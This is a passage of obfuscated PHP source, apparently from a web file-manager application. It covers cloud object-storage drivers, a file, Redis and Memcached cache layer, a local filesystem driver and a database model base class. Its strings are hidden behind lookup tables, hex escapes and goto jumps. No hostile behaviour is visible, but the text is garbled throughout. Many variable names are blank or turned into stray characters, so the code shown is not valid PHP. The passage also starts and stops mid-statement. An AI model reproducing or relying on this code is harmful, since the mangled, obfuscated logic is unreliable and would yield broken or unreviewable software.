$_SERVER[՟]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[251], $[252])) ? !0 : !1; } public function getContent($) { return $this->client->getObject($this->bucket, $); } public function setContent($, $ˁ = '', $✬ = false) { $Ħ =& $_SERVER[՟]; $ = $✬ ? trim($, $Ħ[8]) . $Ħ[8] : $; $ďϐ = get_file_mime(get_path_ext($)); $ = $this->client->putObject($ˁ, $this->bucket, $, $Ħ[239], array(), $ďϐ); if (!$) { return !1; } if ($✬) { return !0; } return $ ? !0 : !1; } public function fileSubstr($֒, $Կ, $) { $߰ = $Կ + $ - 1; return $this->client->getObject($this->bucket, $֒, array($_SERVER[՟][254] => "\x62\x79\164\145\163\x3d{$Կ}\55{$߰}")); } public function upload($, $, $ = false, $٥ = REPEAT_REPLACE) { $ =& $_SERVER[՟]; $ߝ = array($[255] => @md5_file($)); $ = array($[256] => get_file_mime(get_path_ext($))); if (IO::size($) <= 1024 * 1024 * 200) { $˿ = $this->client->putObjectFile($, $this->bucket, $, $[239], $ߝ, $); return !empty($˿) ? $this->getPathOuter($) : !1; } $驢 = $this->client->multiUploadObject($, $this->bucket, trim($, $[8]), $ߝ, $); return $驢 ? $this->getPathOuter($) : !1; } public function download($, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $Ӌ = $this->client->getObject($this->bucket, $, array(), $); return $Ӌ !== !1 ? $ : !1; } public function link($, $撌 = array()) { $꾌͈ =& $_SERVER[՟]; if ($this->signVer == $꾌͈[257]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $撌); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $꾌͈[8]), 3600 * 12, $this->region, array(), !0, $撌); } public function fileOut($, $ = false, $칄 = false, $ڰ = '') { $ =& $_SERVER[՟]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $칄, $ڰ); } if (!$칄) { $칄 = $this->pathThis($); } $ = get_file_mime(get_path_ext($칄)); if ($ == $[258]) { return parent::fileOut($, $, $칄, $ڰ); } $ = array($[259] => $); if ($) { $[$[260]] = $[261] . rawurlencode($칄); } else { } $ӌٖ = $this->link($, $); $this->fileOutLink($ӌٖ); } public function fileOutServer($܇, $ = false, $ = false, $ = '') { parent::fileOut($܇, $, $, $); } public function fileOutImageServer($, $Ƨ = 250) { parent::fileOutImage($, $Ƨ); } public function hashMd5($Ǽ, $䨓 = '') { $ = $this->objectMeta($Ǽ); if (!$) { return !1; } $䨓 = $䨓 ? $䨓 : _get($, $_SERVER[՟][262]); return $䨓; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[՟]; $ꪷ = $this->pathFather($); $맆 = $this->client->getHttpUploadPostParams($this->bucket, $ꪷ, $[239], $); return array_merge((array) $맆, array($[218] => $this->getHost())); } public function multiUploadFormData($ȼ, $Ԑ = 3600) { $ =& $_SERVER[՟]; $滝 = gmdate($[263]); $ = array(); $» = $this->client->getUploadId($this->bucket, $ȼ, $); if (!$») { return !1; } return array($[264] => $», $[218] => $this->getHost() . $[8] . $this->pathEncode($ȼ), $[265] => $滝, $[107] => $ȼ); } public function multiUploadAuthData($ǥ, $ = array()) { $褀 =& $_SERVER[՟]; $ = isset($[$褀[265]]) ? $[$褀[265]] : gmdate($褀[263]); $Ɯ = isset($[$褀[179]]) ? $[$褀[179]] : $褀[12]; $ = $[$褀[107]]; unset($[$褀[107]]); if (isset($[$褀[266]])) { $[$褀[265]] = $; return $this->listUploadParts($, $); } $ = array($褀[267], $褀[12], $褀[133], $褀[12], "\170\55\x61\155\x7a\x2d\144\141\164\145\x3a{$}", $褀[8] . $this->bucket . $褀[8] . $this->pathEncode($) . $Ɯ); if (strpos($Ɯ, $褀[268]) === 0) { $[0] = $褀[269]; } if (isset($[$褀[270]]) && $[$褀[270]] == $褀[271]) { $[0] = $褀[271]; } $Քܪ = implode($褀[59], $); $ة = base64_encode(hash_hmac($褀[272], $Քܪ, $this->secret, !0)); $ = $褀[273] . $this->accessKey . $褀[4] . $ة; if (strpos($Ɯ, $褀[268]) === 0) { return array($褀[274] => $, $褀[265] => $); } return $; } public function listUploadParts($û, $ = array()) { $ =& $_SERVER[՟]; $ = str_replace($[275], $[12], $[$[179]]); $ё = $this->client->listParts($this->bucket, $û, $); if (!$ё) { return !1; } unset($[$[266]], $[$[270]]); $[$[107]] = $û; $ = $this->multiUploadAuthData($û, $); if (empty($)) { return !1; } return array($[274] => $, $[265] => $[$[265]], $[276] => $ё); } public function getHost() { $ԁ =& $_SERVER[՟]; $̗ = parent::getHost(); if (!isset($this->osType)) { $this->osType = $this->getType(); } if (!in_array($this->osType, array($ԁ[80], $ԁ[74], $ԁ[79], $ԁ[72]))) { return $̗ . $ԁ[8] . $this->bucket; } $̗ = explode($ԁ[220], $̗); return $̗[0] . $ԁ[220] . $this->bucket . $ԁ[10] . $̗[1]; } public function size($𨧛͡) { $ = $this->objectMeta($𨧛͡); return $ ? $[$_SERVER[՟][89]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ΐ) { return $this->isFile($ΐ) || $this->isFolder($ΐ); } public function isFile($܅) { return !$this->isFolder($܅) && $this->objectMeta($܅); } public function isFolder($ơږ) { return $this->cacheMethod($_SERVER[՟][189], $ơږ); } protected function objectMeta($¶) { return $this->cacheMethod($_SERVER[՟][191], $¶); } protected function _objectMeta($ઠ) { $˦ =& $_SERVER[՟]; $ઠ = rtrim($ઠ, $˦[8]); try { $Ӄ = $this->client->getObjectInfo($this->bucket, $ઠ); if (!isset($Ӄ[$˦[262]]) && isset($Ӄ[$˦[277]])) { $Ӄ[$˦[262]] = $Ӄ[$˦[277]]; } } catch (Exception $) { $Ӄ = !1; } if (!$Ӄ) { } return $Ӄ; } protected function _isFolder($끋) { $Ô =& $_SERVER[՟]; $끋 = rtrim($끋, $Ô[8]); if ($끋 == $Ô[12] || $끋 == $Ô[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $끋, null, 1); if (empty($[$Ô[246]])) { return !1; } $ = $[$Ô[246]][0][$Ô[32]]; return stripos($, $끋 . $Ô[8]) === 0 ? !0 : !1; if (substr($, -1) == $Ô[8]) { return !0; } if (get_path_this($) == get_path_this($끋)) { return !1; } return !0; } public function listObject($) { return $this->fileList($, $_SERVER[՟][12], !0); } } goto E; e: class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[՟]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$[6]][$[434]]; $ = $[$[$[910]]]; $nj؛ = $[$[911]]; switch ($[$[910]]) { case $[21]: self::$handle = Model($[912]); break; case $[913]: self::$handle = new CacheRedis($, $nj؛); break; case $[914]: self::$handle = new CacheMemcached($, $nj؛); break; case $[240]: self::$handle = new CacheFile($, $nj؛); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($) { if (is_array($) || is_object($)) { $ = json_encode($); } $ = rawurlencode($); return md5(KOD_SITE_ID . $_SERVER[՟][11] . $); } public static function get($, $ = false) { $ܚ = self::key($); $Զ = self::init(); if ($) { return unserialize($Զ->get($ܚ)); } if (!isset(self::$memoryCache[$ܚ])) { $ = $Զ->get($ܚ); self::$memoryCache[$ܚ] = unserialize($); } return self::$memoryCache[$ܚ]; } public static function set($ի, $ڰ, $ = false) { $ =& $_SERVER[՟]; $ = self::key($ի); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $ڰ) { return !0; } if ($ === 0) { self::$memoryCache[$] = $ڰ; return !0; } $ۑ = self::init(); $̵ = serialize($ڰ); CacheLock::lock($ի . $[915]); $͙Ƌ = $ۑ->set($, $̵, $); self::$memoryCache[$] = $ڰ; CacheLock::unlock($ի . $[915]); return $͙Ƌ; } public static function getCall($ٍ, $, $퐟, $ϕ = array()) { $җ =& $_SERVER[՟]; $㍼ = self::get($ٍ); if ($㍼ || $㍼ === $җ[12]) { return $㍼; } $㍼ = call_user_func_array($퐟, $ϕ); $㍼ = $㍼ ? $㍼ : $җ[12]; self::set($ٍ, $㍼, $); return $㍼; } public static function remove($ݚ) { $ϖþ = self::key($ݚ); unset(self::$memoryCache[$ϖþ]); self::clearTimeout(); CacheLock::lock($ݚ); $왬睧 = self::init()->remove($ϖþ); CacheLock::unlock($ݚ); return $왬睧; } public static function removeMemory($ӛ) { $ = self::key($ӛ); unset(self::$memoryCache[$]); } public static function clearMemory($Ɩ = false) { if ($Ɩ) { $Ɩ = self::key($Ɩ); unset(self::$memoryCache[$Ɩ]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[՟][916])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[՟][917])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($DZ, $ߞť) { $ܘ =& $_SERVER[՟]; $this->cachePath = $DZ[$ܘ[97]]; $this->prefix = $ܘ[918]; $this->cacheTime = $ߞť; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($֗) { $謗 =& $_SERVER[՟]; $֗ = str_replace(array($謗[919], $謗[110], $謗[86]), $謗[920], $֗); return $this->cachePath . $謗[921] . $֗ . $謗[922]; } public function set($, $ۼ̯, $ؼ = false) { $ؼ = $ؼ ? $ؼ : $this->cacheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $ۼ̯, LOCK_EX)) { @touch($, intval(time() + $ؼ)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($Ŀ) { $㠕 = $this->getFile($Ŀ); if (file_exists($㠕) && filemtime($㠕) < time()) { @unlink($㠕); return !1; } $裴 = @file_get_contents($㠕); return substr($裴, strlen($this->prefix)); } public function remove($) { $ڤ = $this->getFile($); return @unlink($ڤ); } public function deleteAll() { $᷅ =& $_SERVER[՟]; $ӂ = scandir($this->cachePath); foreach ($ӂ as $) { $ڇ = $this->cachePath . $; if (strpos($ڇ, $᷅[922]) && strpos($ڇ, $᷅[923])) { @unlink($ڇ); } } } public function clearTimeout() { $ =& $_SERVER[՟]; $ = scandir($this->cachePath); foreach ($ as $С) { $ٸ = $this->cachePath . $С; if (strpos($ٸ, $[922]) && strpos($ٸ, $[923]) && filemtime($ٸ) < time()) { @unlink($ٸ); } } } } $_file = $_SERVER[$_SERVER[՟][63]]; goto fޅԶ; cݘ: class PathDriverJOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[՟][257]); } public function uploadLink($, $ = 0) { $ =& $_SERVER[՟]; if ($this->isUploadServer()) { return; } $թ = $this->getType(); if (!in_array($թ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ݪ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ = $this->multiUploadFormData($, $ݪ); if ($) { $[$[107]] = $; $[$[108]] = $թ; } return $; } public function fileOutImage($ܚdz, $ = 250) { if ($this->size($ܚdz) > 1024 * 1024 * 25) { return $this->fileOutImageServer($ܚdz, $); } $ = $this->link($ܚdz); $ .= $_SERVER[՟][1454] . $; $this->fileOutLink($); } public function fileOutLink($稐) { $ҽ =& $_SERVER[՟]; if (substr($稐, 0, 7) == $ҽ[322]) { $稐 = $ҽ[323] . substr($稐, 7); } header($ҽ[185] . $稐); die; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[՟][1413]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($؞) { $ڦ =& $_SERVER[՟]; global $config; return $this->iconvTo($؞, $config[$ڦ[1440]], $config[$ڦ[1439]]); } public function iconvSystem($ƃ) { $ =& $_SERVER[՟]; global $config; return $this->iconvTo($ƃ, $config[$[1439]], $config[$[1440]]); } public function getPathOuter($ݛ) { $ɲ =& $_SERVER[՟]; $ = $this->iconvApp($this->pathBase); $ݛ = $this->iconvApp($ݛ); if (substr($, 0, 2) == $ɲ[1413]) { $ = BASIC_PATH . substr($, 2); } if (substr($ݛ, 0, 2) == $ɲ[1413]) { $ݛ = BASIC_PATH . substr($ݛ, 2); } $ = KodIO::clear($); $ݛ = KodIO::clear($ݛ); $ݛ = substr($ݛ, strlen($)); if (empty($this->pathDriver)) { return $ݛ; } return $this->pathDriver . $ɲ[8] . ltrim($ݛ, $ɲ[8]); } public function mkfile($ҳ, $ = '', $ = REPEAT_RENAME) { $ҳ = $this->iconvSystem($ҳ); @touch($ҳ); if ($) { file_put_contents($ҳ, $); } @chmod($ҳ, $this->pathAuth); if (is_file($ҳ)) { return $this->getPathOuter($ҳ); } $this->writeLog(__FUNCTION__ . $_SERVER[՟][1451], !0); return !1; } public function mkdir($꺳, $ = REPEAT_SKIP) { $꺳 = $this->iconvSystem($꺳); if (is_dir($꺳)) { return $this->getPathOuter($꺳); } @mkdir($꺳, $this->pathAuth, !0); @chmod($꺳, $this->pathAuth); if (is_dir($꺳)) { return $this->getPathOuter($꺳); } $this->writeLog(__FUNCTION__ . $_SERVER[՟][1451], !0); return !1; } public function copyFile($, $) { $this->mkdir($this->pathFather($)); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $Ԝ = copy_64($, $); @chmod($, $this->pathAuth); if ($Ԝ) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $_SERVER[՟][1451], !0); return !1; } public function moveFile($, $ؠ) { $this->mkdir($this->pathFather($ؠ)); $ = $this->iconvSystem($); $ؠ = $this->iconvSystem($ؠ); $蘝 = intval(@rename($, $ؠ)); if (!$蘝) { if ($蘝 = intval(@copy_64($, $ؠ))) { @unlink($); } } @chmod($ؠ, $this->pathAuth); if ($蘝) { return $this->getPathOuter($ؠ); } $this->writeLog(__FUNCTION__ . $_SERVER[՟][1451], !0); return !1; } public function movePath($, $, $ƪ = false) { $ =& $_SERVER[՟]; $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8] . ($ƪ ? $ƪ : get_path_this($)); if (file_exists($)) { return !1; } $ = intval(@rename($, $)); $ = file_exists($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1451], !0); return !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (@unlink($)) { return !0; } $this->writeLog(__FUNCTION__ . $_SERVER[՟][1451], !0); return !1; } return !0; } public function delFolder($Î) { $ =& $_SERVER[՟]; $Î = $this->iconvSystem($Î); if (!is_dir($Î)) { return !0; } if (!($ً = opendir($Î))) { return !1; } while (($ = readdir($ً)) !== !1) { if ($ == $[10] || $ == $[1366]) { continue; } $֙ = $Î . $[8] . $; if (is_file($֙) || is_link($֙)) { if (!unlink($֙)) { chmod($֙, $this->pathAuth); if (!unlink($֙)) { return !1; } } } else { if (is_dir($֙)) { chmod($֙, $this->pathAuth); $֙ = $this->iconvApp($֙); if (!$this->delFolder($֙)) { return !1; } } } } closedir($ً); return rmdir($Î); } public function rename($ڊ, $) { $ =& $_SERVER[՟]; $ = $this->fileNameAuto($this->pathFather($ڊ), $); $ = $this->iconvSystem($); $ڊ = $this->iconvSystem($ڊ); $ԏ = $this->pathFather($ڊ); $ = rtrim($ԏ, $[8]) . $[8] . $; $ = @rename($ڊ, $); $ = $this->iconvApp($); if ($) { return $this->getPathOuter($); } $this->writeLog(__FUNCTION__ . $[1451], !0); return !1; } public function size($ἱ) { $ἱ = $this->iconvSystem($ἱ); return filesize_64($ἱ); } public function info($Ő) { $Ő = $this->iconvSystem($Ő); if ($this->isFolder($Ő)) { return $this->folderInfo($Ő); } else { if ($this->isFile($Ő)) { return $this->fileInfo($Ő); } } return !1; } protected function infoChildren($, &$, $ = true) { $ż =& $_SERVER[՟]; check_abort_echo(); $ = rtrim($, $ż[8]) . $ż[8]; if ($) { $ = $this->iconvSystem($); } if (!($ = @opendir($))) { return; } while (($˨Ș = readdir($)) !== !1) { if ($˨Ș == $ż[10] || $˨Ș == $ż[1366]) { continue; } $Α = $ . $˨Ș; if (is_file($Α) || is_link($Α)) { $[$ż[90]]++; $[$ż[89]] += filesize_64($Α); } else { if (is_dir($Α)) { $[$ż[91]]++; $this->infoChildren($Α, $, !1); } } } closedir($); } private function folderInfo($뻔, $ű = false) { $Ǽ =& $_SERVER[՟]; $뻔 = rtrim($뻔, $Ǽ[8]) . $Ǽ[8]; $ = $this->iconvApp($this->pathThis($뻔)); if ($ű) { return array($Ǽ[32] => $, $Ǽ[97] => $this->getPathOuter($뻔), $Ǽ[33] => $Ǽ[88]); } $ = array($Ǽ[32] => $, $Ǽ[97] => $this->getPathOuter($뻔), $Ǽ[33] => $Ǽ[88], $Ǽ[241] => @filectime($뻔), $Ǽ[98] => @filemtime($뻔), $Ǽ[1455] => @fileatime($뻔), $Ǽ[1456] => is_readable($뻔), $Ǽ[1457] => is_writable($뻔), $Ǽ[1458] => get_mode($뻔)); return $; } private function fileInfo($ቩ, $К = false) { $ў =& $_SERVER[՟]; $ܝ = $this->iconvApp($this->pathThis($ቩ)); if ($К) { return array($ў[32] => $ܝ, $ў[97] => $this->getPathOuter($ቩ), $ў[33] => $ў[240], $ў[89] => $this->size($ቩ), $ў[179] => $this->ext($ܝ)); } $ = array($ў[32] => $ܝ, $ў[97] => $this->getPathOuter($ቩ), $ў[33] => $ў[240], $ў[241] => @filectime($ቩ), $ў[98] => @filemtime($ቩ), $ў[1455] => @fileatime($ቩ), $ў[89] => $this->size($ቩ), $ў[179] => $this->ext($ܝ), $ў[1456] => is_readable($ቩ), $ў[1457] => is_writable($ቩ), $ў[1458] => get_mode($ቩ)); return $; } public function exist($߽ނ) { $߽ނ = $this->iconvSystem($߽ނ); return @file_exists($߽ނ); } public function isFile($ܥ) { $ܥ = $this->iconvSystem($ܥ); return @is_file($ܥ); } public function isFolder($ȶ) { $ȶ = $this->iconvSystem($ȶ); return @is_dir($ȶ); } public function listPath($, $Ⅷ = false) { $Ɏ =& $_SERVER[՟]; $ = $this->iconvSystem($); $ = rtrim($, $Ɏ[8]) . $Ɏ[8]; $ = array($Ɏ[95] => array(), $Ɏ[96] => array()); if (!($ = @opendir($))) { return $; } while (($ = readdir($)) !== !1) { if ($ == $Ɏ[10] || $ == $Ɏ[1366]) { continue; } $ = $ . $; if (is_file($)) { $[$Ɏ[96]][] = $this->fileInfo($, $Ⅷ); } else { $[$Ɏ[95]][] = $this->folderInfo($, $Ⅷ); } } closedir($); return $; } public function listAll($ū, &$涕 = array()) { $ =& $_SERVER[՟]; $ū = $this->iconvSystem($ū); $ū = rtrim($ū, $[8]) . $[8]; if (!($ = @opendir($ū))) { return $涕; } while (($ׁ = readdir($)) !== !1) { if ($ׁ == $[10] || $ׁ == $[1366]) { continue; } $ = $ū . $ׁ; $ = is_dir($) && !is_link($) ? 1 : 0; $ = $ ? $ . $[8] : $; $涕[] = array($[97] => $, $[88] => $, $[98] => intval(@filemtime($)), $[89] => $ ? 0 : intval($this->size($))); if ($) { $this->listAll($, $涕); } } closedir($); return $涕; } public function has($, $繋 = false, $ʨ = true) { $ =& $_SERVER[՟]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($˳ = @opendir($))) { return !1; } $ = 0; $ͩ = 0; $و = 0; while (($ = readdir($˳)) !== !1) { if ($ == $[10] || $ == $[1366]) { continue; } $ = $ . $; if ($繋) { $و++; if (@is_file($)) { $++; } else { $ͩ++; } if ($و > 10000) { break; } continue; } if ($ʨ) { if (@is_file($)) { return !0; } } else { if (@is_dir($ . $[8])) { return !0; } } } closedir($˳); if ($繋) { return array($[249] => $, $[250] => $ͩ); } return !1; } public function hashSimple($) { $Ũ =& $_SERVER[՟]; if (!$) { return md5($Ũ[12]); } $ = $this->iconvSystem($); $괏 = $this->size($); $ǃ = 200; $ڇ = 50; if ($괏 <= $ǃ * $ڇ) { return $this->hashMd5($) . $괏; } $ = $Ũ[12]; $ј = intval($괏 / $ڇ); $ = fopen($, $Ũ[1459]); if (!$) { return $; } for ($ݵ = 0; $ݵ < $ڇ; $ݵ++) { fseek_64($, $ј * $ݵ); $ .= fread($, $ǃ); } fseek_64($, $괏 - $ǃ); $ .= fread($, $ǃ); fclose($); return md5($) . $괏; } public function getContent($İ) { $İ = $this->iconvSystem($İ); return file_get_contents($İ); } public function setContent($, $̸ = '') { $ = $this->iconvSystem($); $̗ = @file_put_contents($, $̸, LOCK_EX); if (!$̗) { $this->writeLog(__FUNCTION__ . $_SERVER[՟][1451], !0); } clearstatcache(); @chmod($, $this->pathAuth); return $̗ === !1 ? !1 : !0; } public function fileSubstr($橨, $ = 0, $ = false) { $і =& $_SERVER[՟]; $橨 = $this->iconvSystem($橨); if ($ === !1) { $ = $this->size($橨); } if ($ <= 0) { return $і[12]; } $҂ = fopen($橨, $і[1459]); if (!$҂) { return !1; } fseek_64($҂, $); $Ô = fread($҂, $); fclose($҂); if (!$Ô) { $this->writeLog(__FUNCTION__ . $і[1451], !0); } return $Ô; } public function upload($, $Ё, $ = false, $ = REPEAT_REPLACE) { if ($) { return $this->moveFile($Ё, $); } return $this->copyFile($Ё, $); } public function setModifyTime($ʼnۮ, $ɢ = '') { @touch($ʼnۮ, intval($ɢ)); } public function download($ŝ, $) { return $this->iconvSystem($ŝ); } } class PathDriverOBS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[՟][257]); } public function fileOutImage($, $怨 = 250) { $ё =& $_SERVER[՟]; if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $怨); } $ڷ = array($ё[1460] => $ё[1461] . $怨 . $ё[1462]); $ϼ = $this->link($, $ڷ); $this->fileOutLink($ϼ); } public function fileOutLink($װ) { $܀ =& $_SERVER[՟]; if (substr($װ, 0, 7) == $܀[322]) { $װ = $܀[323] . substr($װ, 7); } header($܀[185] . $װ); die; } } goto B; C˄Õ: class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\157\x64\151\x66\x79\x54\x69\x6d\145", "\164\x69\155\x65", "\x69\156\x73\x65\162\164\54\x75\x70\x64\x61\164\x65", "\146\165\156\143\x74\151\x6f\x6e"), array("\143\162\145\141\164\x65\124\x69\x6d\145", "\164\151\155\x65", "\151\x6e\163\145\x72\x74", "\x66\165\156\x63\164\151\157\156")); public function setDataAuto($Ӌ) { $this->dataAuto = $Ӌ; } public function __construct($ = '', $үҙ = '', $ꕺƘ = '') { parent::__construct($, $үҙ, $ꕺƘ); } protected $tableMeta = array(); protected function _beforeInsert(&$Ͽ, $) { $ =& $_SERVER[՟]; if (!$this->checkDataAutoHas($[440])) { return; } $this->dataBeforeFilter($Ͽ, $[440]); } protected function _beforeUpdate(&$, $) { $拫 =& $_SERVER[՟]; if (!$this->checkDataAutoHas($拫[441])) { return; } $this->dataBeforeFilter($, $拫[441]); } protected function _afterSelect(&$, $ހ) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[՟][442])) { return; } foreach ($ as &$) { $this->dataAfterFilter($); } unset($); } protected function _afterFind(&$, $ڑ) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[՟][442])) { return; } $this->dataAfterFilter($); } public static function textEncode($ĥ) { if (!$ĥ) { return $ĥ; } $ = json_encode($ĥ); $ = preg_replace_callback($_SERVER[՟][443], function ($) { return addslashes($[0]); }, $); return json_decode($); } public static function textDecode($) { $ξ =& $_SERVER[՟]; $ډ = json_encode($); $ډ = preg_replace_callback($ξ[444], function ($˸) { return $_SERVER[՟][110]; }, $ډ); return json_decode($ډ); } public function setAutoIncrement($摝) { $ʪ = array($this->getPk() => $摝); $ = $this->data($ʪ)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $Ɂ = $this->getTableName(); $п = $this->max($this->getPk()); $ = $this->query("\163\150\157\167\x20\164\141\142\154\x65\x20\x73\164\141\164\x75\x73\40\x77\x68\145\162\x65\40\116\x61\x6d\x65\x3d\x27{$Ɂ}\x27"); $ә = $[0][$_SERVER[՟][445]]; $ = max($п, $ә); return $; } protected function _callBefore($, $) { return $this->cacheCallCheck($, $, !1); } protected function _callAfter($˞, $) { return $this->cacheCallCheck($˞, $, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($踛, $Ӝޢ, $ = false) { $ē = $this->cacheFunctionAlias($Ӝޢ); if (!$ē) { return; } foreach ($ē as $텫 => $ȩ) { $҅ = $ȩ[0]; $ = explode($_SERVER[՟][50], $ȩ[1]); if ($踛 == $텫) { return $this->cacheFunctionGet($텫, $҅); } if ($ && in_array($踛, $)) { $this->cacheFunctionClear($텫, $҅); } } } public function cacheFunctionGet($, $) { $Ш = $this->cacheKeyMake($, $); $ƍ = Cache::get($Ш); if (!is_array($ƍ)) { $ƍ = call_user_func_array(array($this, $), array($, !0)); Cache::set($Ш, $ƍ); } return $ƍ; } public function cacheFunctionClear($ډ, $) { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $) { $ = $this->cacheKeyMake($ډ, $); Cache::remove($); } } private function cacheKeyMake($Χ, $ȸ) { $ =& $_SERVER[՟]; return get_class($this) . $[11] . $Χ . $[446] . $ȸ; } protected function selectPageReset() { $ =& $_SERVER[՟]; if (isset($GLOBALS[$[447]])) { return; } $GLOBALS[$[447]] = isset($GLOBALS[$[7]][$[448]]) ? $GLOBALS[$[7]][$[448]] : !1; $GLOBALS[$[449]] = isset($GLOBALS[$[7]][$[438]]) ? $GLOBALS[$[7]][$[438]] : !1; $GLOBALS[$[7]][$[448]] = !1; $GLOBALS[$[7]][$[438]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[՟]; if (!isset($GLOBALS[$[447]])) { return; } $GLOBALS[$[7]][$[448]] = $GLOBALS[$[447]]; $GLOBALS[$[7]][$[438]] = $GLOBALS[$[449]]; if ($GLOBALS[$[7]][$[448]] === !1) { unset($GLOBALS[$[7]][$[448]]); } if ($GLOBALS[$[7]][$[438]] === !1) { unset($GLOBALS[$[7]][$[438]]); } unset($GLOBALS[$[447]]); unset($GLOBALS[$[449]]); } protected function selectPage($ = 200, $ۤâ = 1) { $ϥǜ =& $_SERVER[՟]; global $in; $ռ = $this->optionsValue(); $ = 50000; $ = isset($in[$ϥǜ[448]]) && $in[$ϥǜ[448]] ? $in[$ϥǜ[448]] : $; if ($ === -1) { $in[$ϥǜ[448]] = !1; $ = 100000000; $ = $; } $ܫ = $ռ; $ܫ[$ϥǜ[450]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ ? $ : $); $ۤâ = intval(isset($in[$ϥǜ[438]]) && $in[$ϥǜ[438]] ? $in[$ϥǜ[438]] : $ۤâ); $ۤâ = $ۤâ <= 1 ? 1 : $ۤâ; $ = array(); $ʹ = 1; if ($ۤâ == 1 && $ʹ) { $this->optionsValue($ռ); $ = $this->page($ۤâ, $)->select(); $ͧ؞ = is_array($) ? count($) : 0; if ($ͧ؞ < $) { $ = 1; } else { $this->optionsValue($ܫ); $ͧ؞ = intval($this->count()); $ = ceil($ͧ؞ / $); } } else { $this->optionsValue($ܫ); $ͧ؞ = intval($this->count()); $ = ceil($ͧ؞ / $); $ۤâ = $ۤâ >= $ ? $ : $ۤâ; $this->optionsValue($ռ); $ = $this->page($ۤâ, $)->select(); } if (!is_array($)) { $ = array(); } if ($ == 1) { $ͧ؞ = count($); } $ = array($ϥǜ[451] => array($ϥǜ[452] => $ͧ؞, $ϥǜ[448] => $, $ϥǜ[438] => $ۤâ, $ϥǜ[453] => $), $ϥǜ[454] => $); return $; } protected function checkLength($ğ, $Ǎ = 0, $Ϩ = '') { $ =& $_SERVER[՟]; $Ǎ = $Ǎ ? $Ǎ : 65536; if (!$ğ || strlen($ğ) < $Ǎ) { return; } $Ϩ = $Ϩ ? $Ϩ . $[84] : $[12]; show_json($Ϩ . LNG($[455]) . "\50{$Ǎ}\51", !1); } protected function metaSet($, $Ր = null, $Ŗ͍ = null) { $ҽ =& $_SERVER[՟]; if (!$this->tableMeta || !$) { return !1; } $ɦ = $this->tableMeta[$ҽ[456]]; $ = $this->tableMeta[$ҽ[457]]; $٩ = Model($); $ԓ = array($ɦ => $, $ҽ[458] => $Ր); if (is_null($Ր)) { return $٩->where(array($ɦ => $))->delete(); } if (is_null($Ŗ͍) && is_string($Ր)) { return $٩->where($ԓ)->delete(); } $Ɔ = is_array($Ր) ? $Ր : array(); if (is_string($Ր)) { $Ɔ[$Ր] = $Ŗ͍; } $Ә = array(); foreach ($Ɔ as $ɺ => $ϫ) { if (is_null($ϫ) && is_string($ɺ)) { $٩->where(array($ɦ => $, $ҽ[458] => $ɺ))->delete(); continue; } $this->checkLength($ϫ, !1, $ . $ҽ[4] . $ɺ); $Ә[] = array($ɦ => $, $ҽ[107] => $ɺ, $ҽ[459] => $ϫ); } $ = $ҽ[460] . $; CacheLock::lock($); $٩->where(array($ɦ => $))->addAll($Ә, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($˛, $ = false) { $㔗 =& $_SERVER[՟]; if (!$this->tableMeta) { return array(); } $ˉ = $this->tableMeta[$㔗[456]]; $ = Model($this->tableMeta[$㔗[457]]); if ($) { $ = array($ˉ => $˛, $㔗[107] => $); return $->where($)->getField($㔗[459]); } $ = array($ˉ => $˛); $ħ婛 = $->field($㔗[461])->where($)->select(); $ħ婛 = array_to_keyvalue($ħ婛, $㔗[107], $㔗[459]); return $ħ婛; } private function checkDataAutoHas($) { if 